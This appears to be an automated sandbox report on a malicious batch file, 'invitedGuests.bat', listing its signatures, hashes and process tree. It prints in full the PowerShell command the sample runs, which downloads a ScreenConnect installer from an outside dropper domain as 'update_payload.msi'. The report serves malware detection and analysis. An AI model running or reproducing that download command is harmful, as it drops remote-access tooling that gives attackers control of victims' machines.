Analysis

  • max time kernel
    149s
  • max time network
    157s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    28/05/2026, 00:24

General

  • Target
    invitedGuests.bat
  • Size 1KB
  • Sample260528-aqa7hsbz2j
  • SHA256 e1cd006efa2d33192a1d909d099b9d2de54f4541f47940270dcd627fbad8a862
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://admin.hbdhfijnsgjnds.top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\invitedGuests.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3384
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object Net.WebClient).DownloadFile('https://admin.hbdhfijnsgjnds.top/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest', 'C:\Users\Admin\AppData\Local\Temp\update_payload.msi') }"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4964

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_r10nlqa5.a1g.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r10nlqa5.a1g.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/4964-1-0x000001A8B4E70000-0x000001A8B4E80000-memory.dmp

        memory/4964-0-0x000001A8B4E70000-0x000001A8B4E80000-memory.dmp

        memory/4964-7-0x000001A8B4DC0000-0x000001A8B4DE2000-memory.dmp

        memory/4964-9-0x000001A8B4E70000-0x000001A8B4E80000-memory.dmp

        memory/4964-11-0x000001A8B4E70000-0x000001A8B4E80000-memory.dmp

        memory/4964-10-0x000001A8B4E70000-0x000001A8B4E80000-memory.dmp

        memory/4964-12-0x000001A8B4E70000-0x000001A8B4E80000-memory.dmp